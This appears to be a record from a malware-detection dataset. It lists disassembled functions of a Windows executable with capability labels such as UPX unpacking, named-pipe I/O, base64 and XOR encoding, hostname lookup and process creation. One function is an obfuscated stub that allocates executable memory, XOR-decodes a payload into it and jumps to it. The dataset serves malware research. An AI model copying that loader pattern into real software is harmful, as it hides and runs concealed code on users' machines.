joyce8/EMBER2024-capa huggingface dataset:
Function at 0x436f60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1f000]
push edi
or ebp, 0xffffffff
jmp 0x436f82
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x436f89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x436f78
mov eax, 1
add ebx, ebx
jne 0x436f9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x436f90
jne 0x436fac
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x436f90
xor ecx, ecx
sub eax, 3
jb 0x436fc0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x437032
mov ebp, eax
add ebx, ebx
jne 0x436fcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x436fd8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x436ffc
inc ecx
add ebx, ebx
jne 0x436fe8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x436fdd
jne 0x436ff9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x436fdd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43701c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43700d
jmp 0x436f7e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43701c
add edi, ecx
jmp 0x436f7e
pop esi
mov edi, esi
mov ecx, 0xc8d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43703a
cmp byte [edi], 0xc
jne 0x43703a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43703f
lea edi, [esi + 0x34000]
mov eax, dword [edi]
or eax, eax
je 0x4370ae
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x372d8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x37390]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43706c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x37398]
or eax, eax
je 0x4370a8
mov dword [ebx], eax
add ebx, 4
jmp 0x437089
call dword [esi + 0x37394]
mov ebp, dword [esi + 0x3739c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4370e2
sub esp, 0xffffff80
jmp 0x40ba35
Function at 0x2a854792
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a9817de
call fcn.2a84a756
mov ebx, ecx
cmp dword [ebx + 4], 0xffffffff
jne 0x2a8548d3
push 0xffffffffffffffff
lea edi, [ebx + 0xc]
push 0x2a98a1b4
mov ecx, edi
call fcn.2a85ff00
mov eax, dword [ebx]
push 0
push 0xffffffffffffffff
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2a9874b0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x54]
call fcn.2a84a704
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.2a8c803d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.2a84cb0c
lea ecx, [ebp - 0x4c]
call fcn.2a84cb2e
push edi
lea ecx, [ebp - 0x3c]
call fcn.2a850168
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a8c886a
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a8c9159
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebx + 8]
xor edi, edi
mov byte [ebp - 4], 3
cmp dword [ecx], edi
jne 0x2a854898
lea ecx, [ebp - 0x3c]
call fcn.2a8c886a
push edi
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push edi
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
jne 0x2a854898
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a8548ef
cmp eax, 0xe7
jne 0x2a8548d9
lea ecx, [ebp - 0x3c]
call fcn.2a8c886a
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a8548fe
mov eax, dword [ebx + 8]
cmp dword [eax], edi
je 0x2a85483e
cmp dword [ebx + 4], 0xffffffff
je 0x2a8548b4
push edi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 6
test esi, esi
je 0x2a8548c3
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a84cb0c
lea ecx, [ebp - 0x34]
call fcn.2a84cb2e
call fcn.2a84a9ee
ret
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a84a704
mov byte [ebp - 4], 4
jmp 0x2a854912
lea ecx, [ebp - 0x70]
call fcn.2a8544ff
push 0x2a9ef2e0
jmp 0x2a854923
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a84a704
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x70]
call fcn.2a85ff00
push 0x2a9ef338
lea eax, [ebp - 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a854c0d
Capabilities:
Read file on windows

Disassembly:
push 0x74
mov eax, 0x2a98184c
call fcn.2a84a756
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a854d8d
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a854d77
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a854cf9
cmp eax, 0x6d
je 0x2a854d27
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x80]
call fcn.2a85ff00
push 0x2a9ef338
lea eax, [ebp - 0x80]
jmp 0x2a854db5
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x2a854d0b
push ebx
push ebx
push ebx
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x2a854cf9
cmp eax, 0xffffffff
je 0x2a854d36
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x2a854cbc
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a854d3f
sub eax, 1
jne 0x2a854c5a
lea ecx, [ebp - 0x64]
call fcn.2a85441f
push 0x2a9ef354
jmp 0x2a854db2
mov dword [ebp - 4], 2
jmp 0x2a854d7e
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a854d77
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a854d27
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 3
jmp 0x2a854da1
mov dword [ebp - 4], 5
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84a9ee
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a85ff00
push 0x2a9ef338
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a854dbc
Capabilities:
Read file on windows

Disassembly:
push 0x58
mov eax, 0x2a98188a
call fcn.2a84a756
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a854ec8
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a854eb2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a854e97
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a854e5f
sub eax, 1
jne 0x2a854e09
lea ecx, [ebp - 0x64]
call fcn.2a85441f
push 0x2a9ef354
jmp 0x2a854eed
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a854eb2
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a854e4d
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 2
jmp 0x2a854edc
cmp eax, 0x6d
je 0x2a854e4d
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 3
jmp 0x2a854edc
push esi
mov dword [ebp - 4], 4
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84a9ee
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a704
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a85ff00
push 0x2a9ef338
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a854ef7
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x2a9818bd
call fcn.2a84a756
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
je 0x2a855031
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x2a854f73
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a84a704
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x64]
call fcn.2a85ff00
push 0x2a9ef338
jmp 0x2a85503e
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x2a854fc8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a854fde
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a854fb5
sub eax, 1
jne 0x2a854f73
jmp 0x2a855031
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
push esi
mov dword [ebp - 4], 3
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a84a9ee
ret 8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe8
je 0x2a855022
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe9
je 0x2a855022
push ebx
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.2a84a704
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x80]
call fcn.2a85ff00
push 0x2a9ef338
lea eax, [ebp - 0x80]
jmp 0x2a855041
lea ecx, [ebp - 0x80]
call fcn.2a85441f
push 0x2a9ef354
jmp 0x2a85501d
lea ecx, [ebp - 0x64]
call fcn.2a85441f
push 0x2a9ef354
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a85ff00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x2a85ff0f
pop dword [ebp - 0x28]
mov eax, 0xf8fb113c
sub eax, 0xce75122d
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x2bd75a42
sub dword [ebp - 0x38], 0xdd8514f7
mov dword [ebp - 0x34], 0x83d0ceb8
sub dword [ebp - 0x34], 0x519d8273
mov dword [ebp - 0x30], 0xa62a4c72
add dword [ebp - 0x30], 0xa621f7bc
mov dword [ebp - 0x2c], 0x99fca217
sub dword [ebp - 0x2c], 0x99fca217
lea eax, [ebp - 0x38]
push eax
mov eax, 0xcbfe5fc7
sub eax, 0xa165ee77
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xdda107e4
add dword [ebp - 0x38], 0x96d16172
mov dword [ebp - 0x34], 0xa08490d1
add dword [ebp - 0x34], 0xa0e7d0a4
mov dword [ebp - 0x30], 0xba8b8154
add dword [ebp - 0x30], 0xa8e3eb18
mov dword [ebp - 0x2c], 0x2a9d36b5
sub dword [ebp - 0x2c], 0x2a9d36b5
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x48e5c09d
add eax, 0xe1b2b0ab
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x4893c
push 0
call eax
mov ecx, 0x7f1335c
add ecx, 0xf80f0fde
xor esi, esi
add esi, eax
mov edi, 0xdf1f8d6c
add edi, 0x4b82ce94
add edi, dword [ebp - 0x28]
mov edx, 0x5bd72820
add edx, 0x610b67a5
mov ebx, dword [edi]
sub dword [ebp - 0x10], 0x2bc43eac
xor ebx, edx
sub dword [ebp - 0x24], edx
mov dword [esi], ebx
add dword [ebp - 0x10], esi
add esi, 0x9bf49d40
sub esi, 0x9bf49d3c
add edi, 0xd0f6924c
sub edi, 0xd0f69248
loop 0x2a860033
add eax, 0xb3f79246
sub eax, 0xb3f6928b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7aafce05
add ecx, 0xafd031fb
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x2a86a5e0
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a982c35
call fcn.2a84a756
xor ebx, ebx
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp + 8]
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], 0xf
mov byte [eax], bl
mov eax, dword fs:[0x2c]
xor edi, edi
mov ecx, dword [0x2aa0032c]
inc edi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x2a9fee84]
cmp eax, dword [ecx + 4]
jg 0x2a86a794
mov eax, dword [ebp + 0x10]
mov edi, ebx
test eax, eax
je 0x2a86a786
push 3
pop esi
mov ecx, dword [ebp + 0xc]
dec eax
mov dword [ebp + 0x10], eax
mov al, byte [ecx]
mov byte [ebp + edi - 0x14], al
inc edi
mov dl, byte [ebp - 0x13]
inc ecx
mov dword [ebp + 0xc], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x2a86a6cf
mov esi, dword [ebp + 8]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ch
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
cmp dword [0x2a9fee80], 0x10
mov ecx, 0x2a9fee6c
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x2a9fee6c]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.2a85ff00
inc edi
cmp edi, 4
jl 0x2a86a697
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop esi
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x2a86a639
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x2a86a786
mov eax, edi
cmp edi, esi
jge 0x2a86a705
cmp eax, esi
jae 0x2a86a78f
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x2a86a6ed
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x2a86a771
mov esi, dword [ebp + 8]
mov edi, eax
cmp dword [0x2a9fee80], 0x10
mov ecx, 0x2a9fee6c
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x2a9fee6c]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.2a85ff00
inc ebx
cmp ebx, edi
jl 0x2a86a742
mov edi, dword [ebp - 0x1c]
push 3
pop esi
cmp edi, esi
jge 0x2a86a786
sub esi, edi
mov ecx, dword [ebp + 8]
push 0x3d
call fcn.2a85ff00
sub esi, 1
jne 0x2a86a777
mov eax, dword [ebp + 8]
call fcn.2a84a9ee
ret
call fcn.2a85ff00
mov esi, 0x2a9fee84
push esi
call fcn.2a85ff00
cmp dword [0x2a9fee84], 0xffffffff
pop ecx
jne 0x2a86a629
lea eax, [ebp - 0xf]
mov dword [ebp - 4], edi
push eax
push 0x2a98a0b0
mov ecx, 0x2a9fee6c
call fcn.2a84e515
push 0x2a986860
call fcn.2a85ff00
push esi
mov byte [ebp - 4], bl
call fcn.2a85ff00
pop ecx
pop ecx
jmp 0x2a86a629
Function at 0x2a872c57
Capabilities:
Encode data using base64

Disassembly:
push 0x18
mov eax, 0x2a983df4
call fcn.2a84a756
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x24], esi
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 0x14], edi
jb 0x2a872c7f
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov eax, dword [edi + 0x10]
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov dword [ebp - 0x10], eax
mov byte [esi], cl
push ecx
shl eax, 2
push 3
mov dword [ebp - 4], ecx
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x18], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a85ff00
mov ebx, dword [esi + 0x14]
mov ecx, esi
cmp ebx, 0x10
jb 0x2a872cbb
mov ecx, dword [esi]
xor edx, edx
cmp dword [ebp - 0x10], edx
jle 0x2a872d71
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + edx]
shr eax, 2
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x20], ecx
mov al, byte [eax + 0x2a98b938]
mov byte [ecx], al
inc ecx
mov bl, byte [esi + edx]
and bl, 3
shl bl, 4
inc edx
cmp edx, dword [ebp - 0x10]
jge 0x2a872cf9
mov al, byte [esi + edx]
shr al, 4
or bl, al
movzx eax, bl
mov ebx, dword [ebp - 0x10]
mov al, byte [eax + 0x2a98b938]
mov byte [ecx], al
cmp edx, ebx
jge 0x2a872d36
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x2a872d15
mov eax, dword [edi]
mov cl, byte [eax + edx]
and cl, 0xf
shl cl, 2
inc edx
cmp edx, ebx
jge 0x2a872d2b
mov al, byte [esi + edx]
shr al, 6
or cl, al
movzx eax, cl
mov al, byte [eax + 0x2a98b938]
jmp 0x2a872d38
mov al, 0x3d
mov ecx, dword [ebp - 0x14]
mov byte [ecx + 2], al
mov ecx, dword [ebp - 0x1c]
add ecx, 4
cmp edx, ebx
jge 0x2a872d57
movzx eax, byte [esi + edx]
and eax, 0x3f
mov al, byte [eax + 0x2a98b938]
jmp 0x2a872d59
mov al, 0x3d
mov ebx, dword [ebp - 0x20]
inc edx
mov byte [ebx + 3], al
mov ebx, dword [ebp - 0x10]
cmp edx, ebx
jl 0x2a872cc9
mov esi, dword [ebp - 0x24]
mov ebx, dword [esi + 0x14]
mov eax, esi
cmp ebx, 0x10
jb 0x2a872d7a
mov eax, dword [esi]
sub ecx, eax
push 0
push ecx
mov ecx, esi
call fcn.2a85ff00
mov eax, esi
call fcn.2a84a9ee
ret

Function at 0x2a875045
Capabilities:
Get hostname

Disassembly:
push 0x44c
mov eax, 0x2a984252
call fcn.2a8c96b3
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
push edi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a87509d
lea eax, [ebp - 0x44d]
mov ecx, esi
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.2a84e515
mov eax, esi
call fcn.2a8c9691
ret
push 0x93
lea ecx, [ebp - 0x458]
call fcn.2a85ff00
and dword [ebp - 4], 0
lea ecx, [ebp - 0x44c]
push ecx
mov ecx, eax
call fcn.2a86a7dd
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a869d94
push 0x2a9f21f8
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a8bbca0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.2a8ca120
push ebp
mov ebp, dword [esp + 0x20]
push esi
mov esi, dword [esp + 0x18]
inc ebp
push edi
mov edi, dword [esp + 0x20]
mov eax, dword [esi + 4]
mov ecx, dword [edi + 8]
mov eax, dword [eax + 0x64]
test byte [eax + 0x30], 1
je 0x2a8bbd2a
mov edx, dword [esp + 0x24]
lea eax, [edx + ebp]
cmp eax, ecx
ja 0x2a8bbd2e
add dword [edi + 0x14], edx
sub ecx, edx
add dword [edi + 0x18], edx
sub dword [edi + 0xc], edx
mov dword [edi + 8], ecx
mov eax, dword [edi + 0x14]
push ebx
push dword [esi + 0x3c8]
mov al, byte [eax + ecx - 1]
movzx ebx, al
mov byte [esp + 0x30], al
mov dword [esp + 0x24], ebx
call fcn.2a893790
push eax
call fcn.2a8cccb0
mov esi, dword [edi + 8]
add esp, 8
mov dword [esp + 0x18], esi
and eax, 0x200000
je 0x2a8bbd37
sub esi, ebx
mov eax, 1
dec esi
pop ebx
mov dword [edi + 8], esi
pop edi
pop esi
pop ebp
add esp, 0xc
ret
cmp ebp, ecx
jbe 0x2a8bbce2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0xc
ret
lea ecx, [ebx + ebp]
mov eax, esi
mov ebx, esi
xor eax, ecx
sub ebx, ecx
xor ebx, ecx
or ebx, eax
mov eax, 0x100
xor ebx, esi
shr ebx, 0x1f
dec ebx
cmp esi, eax
cmovb eax, esi
xor ebp, ebp
mov dword [esp + 0x14], eax
test eax, eax
je 0x2a8bbdb4
mov eax, dword [esp + 0x20]
dec esi
mov edi, dword [edi + 0x14]
shr eax, 0x1f
add edi, esi
mov esi, dword [esp + 0x20]
mov dword [esp + 0x10], eax
movzx eax, byte [esp + 0x10]
lea edi, [edi - 1]
mov edx, esi
mov ecx, ebp
sub edx, ebp
shr ecx, 0x1f
shr edx, 0x1f
xor al, cl
xor dl, cl
inc ebp
movzx ecx, byte [esp + 0x2c]
or dl, al
movzx eax, byte [edi + 1]
dec dl
movzx edx, dl
xor ecx, eax
and edx, ecx
not edx
and ebx, edx
cmp ebp, dword [esp + 0x14]
jb 0x2a8bbd75
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0x24]
mov eax, dword [esp + 0x20]
not ebx
movzx ecx, bl
inc eax
dec ecx
shr ecx, 0x1f
neg ecx
and eax, ecx
sub esi, eax
mov eax, ecx
pop ebx
mov dword [edi + 8], esi
and eax, 1
pop edi
not ecx
pop esi
or eax, ecx
pop ebp
add esp, 0xc
ret

Function at 0x2a8c94f1
Capabilities:
Create process on windows

Disassembly:
push 0x48
mov eax, 0x2a9867e9
call fcn.2a84a756
mov edi, ecx
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push 0x10
mov dword [ebp - 0x54], esi
call fcn.2a85ff00
mov esi, eax
add esp, 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x2a8c9536
push 0x10
push ebx
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
jmp 0x2a8c9538
mov esi, ebx
or dword [ebp - 4], 0xffffffff
mov ecx, edi
mov dword [edi + 0x24], esi
call fcn.2a8c88a9
push dword [edi + 0x24]
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.kernel32.dll_CreateProcessW]
call fcn.2a84a9ee
ret
Function at 0x2a8e8ad0
Capabilities:
Check if file exists

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push esi
push dword [esp + 0x14]
call fcn.2a85ff00
push 0x62
push esi
mov edi, eax
mov ebx, 1
call sub.VCRUNTIME140.dll_strchr
add esp, 0x10
mov ecx, 0x11
test eax, eax
cmove ebx, ecx
test edi, edi
jne 0x2a8e8b75
push 0x48
push str.crypto_bio_bss_file.c
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push 1
push 2
call fcn.2a8cf650
push 0x2a9905c4
push esi
push 0x2a9b2914
push dword [esp + 0x30]
push str.fopen_
push 5
call fcn.2a8ced60
add esp, 0x2c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
cmp dword [eax], 2
je 0x2a8e8b52
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
cmp dword [eax], 6
je 0x2a8e8b52
lea eax, [edi + 2]
lea ecx, [edi + 0x51]
jmp 0x2a8e8b5c
mov eax, 0x80
mov ecx, 0x4f
push ecx
push str.crypto_bio_bss_file.c
push eax
push 0x6d
push 0x20
call fcn.2a8cf650
add esp, 0x14
xor eax, eax
pop edi
pop esi
pop ebx
ret
push 0x2a9b28bc
call fcn.2a8cd060
